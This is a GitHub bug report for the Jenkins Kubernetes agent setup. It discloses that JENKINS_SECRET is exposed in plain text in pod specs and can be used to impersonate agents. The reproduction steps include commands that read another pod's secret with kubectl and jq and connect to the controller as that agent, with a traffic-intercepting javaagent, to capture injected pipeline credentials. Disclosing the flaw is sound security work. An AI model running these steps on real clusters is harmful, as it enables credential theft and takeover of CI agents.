Skip to content

Agent impersonation via JENKINS_SECRET #2834

Description

@mladjan-gadzic

Jenkins and plugins versions report

Jenkins: 2.555.1
OS: Linux - 5.15.0-161-generic
Java: 21.0.10 - Eclipse Adoptium (OpenJDK 64-Bit Server VM)

analysis-model-api:14.2.0-964.v3eb_80540a_92f
ansible:635.v34b_48e979c86
ansible-tower:0.17.0
ansicolor:536.v13fa_b_860c267
ant:520.vd082ecfb_16a_9
antisamy-markup-formatter:173.v680e3a_b_69ff3
apache-httpcomponents-client-4-api:4.5.14-269.vfa_2321039a_83
apache-httpcomponents-client-5-api:5.6.1-195.v65ffe15189a_d
artifactory:4.0.8
asm-api:9.9.1-189.vb_5ef2964da_91
authentication-tokens:1.144.v5ff4a_5ec5c33
authorize-project:2.0.0
aws-java-sdk2-core:2.42.33-70.vd69c0763fa_60
aws-java-sdk2-netty-nio-client:2.42.33-70.vd69c0763fa_60
aws-java-sdk2-s3:2.42.33-70.vd69c0763fa_60
blueocean:1.27.25
blueocean-autofavorite:1.2.5
blueocean-bitbucket-pipeline:1.27.25
blueocean-commons:1.27.25
blueocean-config:1.27.25
blueocean-core-js:1.27.25
blueocean-dashboard:1.27.25
blueocean-display-url:2.4.4
blueocean-events:1.27.25
blueocean-git-pipeline:1.27.25
blueocean-github-pipeline:1.27.25
blueocean-i18n:1.27.25
blueocean-jira:1.27.25
blueocean-jwt:1.27.25
blueocean-personalization:1.27.25
blueocean-pipeline-api-impl:1.27.25
blueocean-pipeline-editor:1.27.25
blueocean-pipeline-scm-api:1.27.25
blueocean-rest:1.27.25
blueocean-rest-impl:1.27.25
blueocean-web:1.27.25
bootstrap4-api:4.6.0-6
bootstrap5-api:5.3.8-1024.v127320880c60
bouncycastle-api:2.30.1.84-291.v9f17b_21896e2
branch-api:2.1280.v0d4e5b_b_460ef
build-discarder:158.vce570d01ce4c
build-monitor-plugin:1034.vd5c4f4d17b_ff
build-name-setter:2.5.1
build-user-vars-plugin:214.va_eed2ed849ca_
build-with-parameters:81.ve4a_9c2499d9a
caffeine-api:3.2.3-194.v31a_b_f7a_b_5a_81
checks-api:402.vca_263b_f200e3
cloudbees-bitbucket-branch-source:937.3.1
cloudbees-disk-usage-simple:256.v20ec4eb_884f1
cloudbees-folder:6.1100.ve9eed61d16c4
command-launcher:134.v025a_5fcf9dea_
commons-collections4-api:4.5.0-8.va_d5448ef9011
commons-compress-api:1.28.0-3
commons-lang3-api:3.20.0-109.ve43756e2d2b_4
commons-text-api:1.15.0-218.va_61573470393
config-file-provider:1006.vc7366c201f57
configuration-as-code:2077.v41f1011a_5110
copyartifact:795.ve8e151429b_27
cors-filter:21.v34a_0a_7179a_5a_
credentials:1502.v5c95e620ddfe
credentials-binding:720.v3f6decef43ea_
dark-theme:652.vea_da_dfea_e769
dashboard-view:2.558.v96b_901978e47
data-tables-api:2.3.7-1554.v6113418a_6935
display-url-api:2.217.va_6b_de84cc74b_
docker-commons:472.vee120e23d3a_c
docker-workflow:634.vedc7242b_eda_7
durable-task:664.v2b_e7a_dfff66c
echarts-api:6.0.0-1273.v36fc9fe89332
eddsa-api:0.3.0.1-29.v67e9a_1c969b_b_
embeddable-build-status:637.vd878e68178f8
envinject:2.941.v351a_20c0a_3ca_
envinject-api:1.241.vdd714803b_403
extended-choice-parameter:388.ve7b_d0b_920e10
extended-read-permission:68.vd270568a_7520
external-monitor-job:223.vb_fddcf42c9b_3
favorite:2.263.v941d21defef7
folder-properties:62.v1636b_4a_84608
font-awesome-api:7.2.0-983.v3f63c34eddb_9
forensics-api:4.1875.vefb_f97cb_4987
generic-webhook-trigger:2.4.1
git:5.10.1
git-client:6.6.0
git-parameter:462.vdcf3df2ed2ca_
git-server:137.ve0060b_432302
github:1.46.0.1
github-api:1.330-492.v3941a_032db_2a_
github-branch-source:1967.1969.v205fd594c821
github-scm-filter-aged-refs:59.vc6b_39c26988c
github-scm-trait-notification-context:45.v8ef831829589
global-slack-notifier:1.5
gradle:2.19.1244.v1f9866817fec
gson-api:2.14.0-201.v8eefe5515533
handy-uri-templates-2-api:2.1.8-38.vcea_5d521d5f3
hashicorp-vault-pipeline:1.4
hashicorp-vault-plugin:379.v080d932e61e4
hidden-parameter:546.vdeec4ce8b_26f
htmlpublisher:427.1
http_request:1.25
instance-identity:203.v15e81a_1b_7a_38
ionicons-api:94.vcc3065403257
ivy:604.v6dd214d04ef3
jaas-token-credentials-provider:0.1.36
jackson-annotations2-api:2.21-7.v4777a_f3a_a_d47
jackson2-api:2.21.2-436.v29efdb_7418ff
jackson3-api:3.1.2-73.v3e5485d8b_148
jakarta-activation-api:2.1.4-1
jakarta-mail-api:2.1.5-1
jakarta-xml-bind-api:4.0.6-12.vb_1833c1231d3
javadoc:354.vee1a_660b_4990
javax-activation-api:1.2.0-8
javax-mail-api:1.6.2-11
jaxb:2.3.9-143.v5979df3304e6
jdk-tool:83.v417146707a_3d
jenkins-design-language:1.27.25
jenkins-plugin:4364.v7859653172f8
jersey2-api:2.48-180.ve47b_264f849b_
jira:3.21
jjwt-api:0.11.5-120.v0268cf544b_89
job-dsl:3654.vdf58f53e2d15
jobConfigHistory:1356.ve360da_6c523a_
joda-time-api:2.14.2-193.v422b_efce56e0
jquery:1.12.4-3
jquery3-api:3.7.1-682.vfa_cdce169929
jsch:0.2.16-95.v3eecb_55fa_b_78
json-api:20251224-185.v0cc18490c62c
json-path-api:3.0.0-218.vcd4dd1355de2
jsoup:1.22.2-95.vc5d00f1eb_42d
junit:1403.vd9d1413fd205
kubernetes:4358.vcfd9c5a_0a_f51
kubernetes-client-api:7.3.1-256.v788a_0b_787114
kubernetes-credentials:207.v492f58828b_ed
lockable-resources:1515.v380548282a_59
logstash:2.5.0236.v8fc08ee0b_78d
mailer:534.v1b_36f5864073
mask-passwords:220.v95819055b_265
matrix-auth:3.2.10
matrix-project:870.v9db_fcfc2f45b_
maven-plugin:3.27
mercurial:1323.ve69d2a_db_8a_b_d
metrics:4.2.37-494.v06f9a_939d33a_
mina-sshd-api-common:2.16.0-167.va_269f38cc024
mina-sshd-api-core:2.16.0-167.va_269f38cc024
mstest:1.0.5
netty-api:4.2.12.Final-25.v1b_911a_364383
next-build-number:66.v4b_4762172d53
nunit:648.vdc8c6431f464
oic-auth:4.626.ve5a_d9f26c051
okhttp-api:5.3.2-200.vedb_720a_cf1f8
opentelemetry:3.1589.ve81b_b_fa_927d5
opentelemetry-api:1.54.1.102.v276c93ee966d
oss-symbols-api:442.v99039087229b_
pam-auth:1.12
parameter-separator:334.v1fc0e534c71d
parameterized-scheduler:379.v95c73f233a_df
permissive-script-security:0.7
pipeline-build-step:584.vdb_a_2cc3a_d07a_
pipeline-github:2.8-162.382498405fdc
pipeline-githubnotify-step:49.vf37bf92d2bc8
pipeline-graph-analysis:254.v0f63a_a_447dca_
pipeline-graph-view:873.v8cb_25b_5e95f4
pipeline-groovy-lib:797.v90ea_a_9b_e45a_0
pipeline-input-step:551.vdff487c5998c
pipeline-maven:1672.v1b_d4c0435b_20
pipeline-maven-api:1672.v1b_d4c0435b_20
pipeline-milestone-step:152.v6e22b_8cfc66c
pipeline-model-api:2.2277.v00573e73ddf1
pipeline-model-definition:2.2277.v00573e73ddf1
pipeline-model-extensions:2.2277.v00573e73ddf1
pipeline-rest-api:2.41
pipeline-stage-step:345.va_96187909426
pipeline-stage-tags-metadata:2.2277.v00573e73ddf1
pipeline-stage-view:2.41
pipeline-utility-steps:2.20.0
plain-credentials:199.v9f8e1f741799
plugin-util-api:7.1320.v684dd26fca_19
popper-api:1.16.1-3
popper2-api:2.11.6-5
postbuildscript:3.4.1-695.vf6b_0b_8053979
powershell:185.v7a_026da_c54ee
prism-api:1.30.0-723.v97277866cece
prometheus:852.v317db_5d17a_b_0
pubsub-light:1.19
pyenv-pipeline:2.1.2
random-string-parameter:1.0
rebuild:338.va_0a_b_50e29397
role-strategy:848.va_a_ea_673cf0b_c
run-condition:276.v97298f3a_cd51
saml:4.595.vec7523b_5d543
scm-api:728.vc30dcf7a_0df5
script-security:1402.v94c9ce464861
simple-queue:1.4.12
skip-notifications-trait:625.vb_f5e11e9b_158
slack:795.v4b_9705b_e6d47
snakeyaml-api:2.5-149.v72471e9c6371
snakeyaml-engine-api:3.0.1-5.vd98ea_ff3b_92e
sse-gateway:1.29
ssh-agent:396.vcc7d84e622ec
ssh-credentials:372.va_250881b_08cd
ssh-steps:2.0.92.vb_a_0583935f9b_
sshd:3.384.vc89b_5e138cf9
structs:362.va_b_695ef4fdf9
text-finder:1.33
theme-manager:346.v06cca_64c6a_37
timestamper:1.30
token-macro:477.vd4f0dc3cb_cf1
triggerplugin:1.0-SNAPSHOT (private-2024-05-29T06:19:29Z-jenkins)
trilead-api:2.284.v1974ea_324382
uno-choice:2.8.9
variant:70.va_d9f17f859e0
view-job-filters:406.va_0ec67147ee2
vrs:1.0.1545
warnings-ng:13.10091.vd687e63e8591
woodstox-core-api:7.1.1-1.v4d297985f397
workflow-aggregator:608.v67378e9d3db_1
workflow-api:1413.v2ff1a_5e720fa_
workflow-basic-steps:1098.v808b_fd7f8cf4
workflow-cps:4315.va_e456c4e7f4f
workflow-cps-global-lib:615.vb_b_0664a_b_19f3
workflow-durable-task-step:1475.ved562f6ec8b_3
workflow-job:1571.1580.v18e46842c125
workflow-multibranch:821.vc3b_4ea_780798
workflow-scm-step:466.va_d69e602552b_
workflow-step-api:724.v538c2362b_dfb_
workflow-support:1015.v785e5a_b_b_8b_22

What Operating System are you using (both controller, and any agents involved in the problem)?

Linux

Reproduction steps

Step 1: Read target pod specs via K8s API (build SA has get/list/watch)

TARGET_SECRET=$(kubectl get pod target-build-pod-xyz -o json
  | jq -r '.spec.containers[].env[] | select(.name=="JENKINS_SECRET") | .value')

JENKINS_URL="https://sharedcode-jenkins-master-0:8080/"
AGENT_NAME="target-build-pod-xyz"

Step 2: Connect to Jenkins controller as the target agent before the real JNLP container

java -jar remoting.jar
  -jnlpUrl "${JENKINS_URL}/computer/${AGENT_NAME}/jenkins-agent.jnlp"
  -secret "${TARGET_SECRET}"
  -javaagent:intercept.jar  # Captures all remoting traffic

Step 3: Pipeline executes through impersonating agent - All credential injection (withCredentials, withVault) flows through

This is a race condition. The attacker must connect before the legitimate JNLP agent does. Exposure is limited by two factors: sensitive content (credentials, secrets) is typically injected early in the pipeline, and the K8s operator will eventually reap the legitimate agent's pod based on health check failures when it cannot connect. The window of opportunity sits between these two constraints. Demonstrated with a 60s init container delay on the legitimate agent.

Expected Results

JENKINS_SECRET should be pulled from somewhere else or used as K8s secret for example.

Actual Results

JENKINS_SECRET is plain test in pod description

Anything else?

No response

Are you interested in contributing a fix?

Yes.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    Fields

    No fields configured for Bug.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions